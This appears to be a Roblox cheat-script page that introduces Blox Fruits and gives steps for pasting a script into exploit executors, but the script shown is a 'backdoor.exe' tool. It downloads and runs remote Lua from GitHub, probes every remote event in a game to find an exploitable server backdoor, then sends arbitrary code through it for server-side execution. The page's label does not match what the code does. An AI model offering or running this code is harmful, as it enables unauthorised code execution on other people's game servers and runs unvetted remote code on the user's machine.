Blox Fruits is an immensely popular game on the Roblox platform, boasting a vast user base. This action-adventure game revolves around a pirate theme, where players engage in combat against a variety of enemies and challenging bosses. Exploring islands and consuming different fruits are essential for advancing your character’s level.
What is Roblox Script?
Roblox Scripts typically refer to snippets of code that offer automation advantages within the game. Independent developers and scripters create these scripts, which are not officially endorsed by the Roblox platform. Nevertheless, you can still utilize these scripts through Roblox executors such as Arceus X, Hydrogen Executor, JJSploit, Fluxus executor, and others.
How to Use Roblox Script?
- Launch Roblox and join your desired game.
- Click the “Copy” button to duplicate the script code.
- Paste the script code into your preferred Roblox executor.
- Execute the script code and savor the enhanced experience.
--[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] -- Services local Players = game:GetService("Players") local CoreGui = game:GetService("CoreGui") local Lighting = game:GetService("Lighting"); local Workspace = game:GetService("Workspace"); local JointsService = game:GetService("JointsService") local ReplicatedStorage = game:GetService("ReplicatedStorage") local RobloxReplicatedStorage = game:GetService("RobloxReplicatedStorage") -- Variables local LocalPlayer = Players.LocalPlayer local RobloxGui = CoreGui.RobloxGui -- Functions local dateTimeNow = DateTime.now local tableFind = table.find local taskSpawn = task.spawn local taskWait = task.wait local stringRep = string.rep local mathRandom = math.random -- Globals local attached = false; local backdoor = nil; local commonPlaces = { ReplicatedStorage, Workspace, Lighting }; local remoteCodes = {}; -- Constants local INV_CODE = "xJHCqm84cW"; local STRING_VALUE_NAME = mathRandom(1000000, 9999999); if RobloxGui:FindFirstChild("V6") then RobloxGui:FindFirstChild("V6"):Destroy(); print("Refreshed"); end local Variables = loadstring(game:HttpGet("https://raw.githubusercontent.com/iK4oS/backdoor.exe/indev/ui.lua"))() Variables.UI.Main.Active = true Variables.UI.Main.Draggable = true local function notify(text,cb,b1,b2) game:GetService("StarterGui"):SetCore( "SendNotification",{ Title = "backdoor.exe", Duration = 3, Text = text, Callback = cb, Button1 = b1, Button2 = b2 } ) end local function validRemote(rm) local Parent = rm.Parent local class = rm.ClassName if class ~= "RemoteEvent" and class ~= "RemoteFunction" then return false end if Parent then if Parent == JointsService then return false end if (Parent == ReplicatedStorage and rm:FindFirstChild("__FUNCTION")) or (rm.Name == "__FUNCTION" and Parent.ClassName == "RemoteEvent" and Parent.Parent == ReplicatedStorage) then return false end end if rm:IsDescendantOf(RobloxReplicatedStorage) then return false end return true end local function scanDescendants(parent) local descendance = parent:GetDescendants(); for i=1, #descendance do local descendant = descendance[i]; if not validRemote(descendant) then continue; end --if #remoteCodes == 5 then remoteCodes.clear(); end local remoteCode = tostring(mathRandom(100000, 999999)); remoteCodes[remoteCode] = descendant; local remoteClass = descendant.ClassName local requireScript = ("i=Instance.new('StringValue', game.Workspace); i.Name='%s'; i.Value='%s'"):format(STRING_VALUE_NAME, remoteCode) if remoteClass == "RemoteEvent" then descendant:FireServer(requireScript) elseif remoteClass == "RemoteFunction" then local waiting = true taskSpawn(function() descendant:InvokeServer(requireScript) waiting = nil end) -- If RemoteFunction don't respond in 1 second, we skip this one. local start = dateTimeNow().UnixTimestampMillis while waiting and 1000 > dateTimeNow().UnixTimestampMillis - start do taskWait() end end if Workspace:FindFirstChild(STRING_VALUE_NAME) then attached = true backdoor = remoteCodes[Workspace:FindFirstChild(STRING_VALUE_NAME).Value] backdoor:FireServer(("game.Workspace['%s']:Destroy()"):format(STRING_VALUE_NAME)) -- Cleaning up after tonumberselves return true end end end local function scanGame() local found = false -- Scan Common Places for i=1, #commonPlaces do local place = commonPlaces[i]; if scanDescendants(place) then found = true end end -- Scan the rest of the game local children = game:GetChildren(); for i=1, #children do local child = children[i]; -- We ofcourse don't need to check the common places again, do we? if tableFind(commonPlaces, child) then continue; end if scanDescendants(child) then found = true end end if found then notify("Backdoor Found!") Variables.Topbar.Status.Text = "Attached" Variables.Topbar.Status.Circle.Status_Color.BackgroundColor3 = Color3.fromRGB(95, 185, 47) else notify("Unable to find backdoor!") Variables.Topbar.Status.Text = "Failed" end return found; end local function executeScript(script) if not attached then local function callback(text) if text == "Yes" then if scanGame() then executeScript(script) end elseif text == "No" then return end end local bf = Instance.new("BindableFunction"); bf.OnInvoke = callback notify("You're not attached.\nWould you like to attach now?", bf, "Yes", "No") return end local script = script or Variables.SourceFrame.Source.Text if backdoor.ClassName == "RemoteEvent" then backdoor:FireServer(script) elseif backdoor.ClassName == "RemoteFunction" then backdoor:InvokeServer(script) end end local function promtDiscordInvite() local httpService = game:GetService("HttpService") local httpRequest = (syn and syn.request) or (httpService and httpService.request) or http_request if not httpRequest then setclipboard(INV_CODE) notify("Invite code copied!") return end local request = httpRequest({ Url = "http://127.0.0.1:6463/rpc?v=1", Method = "POST", Headers = { ['Content-Type'] = 'application/json', Origin = 'https://discord.com' }, Body = httpService:JSONEncode({ args = {code = INV_CODE}, cmd = 'INVITE_BROWSER', nonce = httpService:GenerateGUID(false) }) }) if request.StatusCode ~= 200 or httpService:JSONDecode(request.Body).data.code == 4011 then notify("Invite code copied!") setclipboard(INV_CODE) return end notify("You have been promted to join our Discord. Open your Discord.") end Variables.Topbar.CloseButton.MouseButton1Click:Connect(function() Variables.UI:Destroy() end) Variables.Topbar.R6Button.MouseButton1Click:Connect(function() executeScript(("require(3041175937):r6('%s')"):format(LocalPlayer.Name)) end) Variables.MainButtons.ScanButton.MouseButton1Click:Connect(scanGame) Variables.MainButtons.ExecuteButton.MouseButton1Click:Connect(executeScript) Variables.MainButtons.ClearButton.MouseButton1Click:Connect(function() Variables.SourceFrame.Source.Text = "" end) Variables.MainButtons.HideButton.MouseButton1Click:Connect(function() Variables.SourceFrame.Source.Visible = not Variables.SourceFrame.Source.Visible end) Variables.MainButtons.InviteButton.MouseButton1Click:Connect(promtDiscordInvite) -- k4scripts -- .------. -- |4.--. | -- | :│/: | -- | :│\: | -- | '--'4| -- `------'
Description
Anything will be work find you need find some backdoored game for, hacked any require script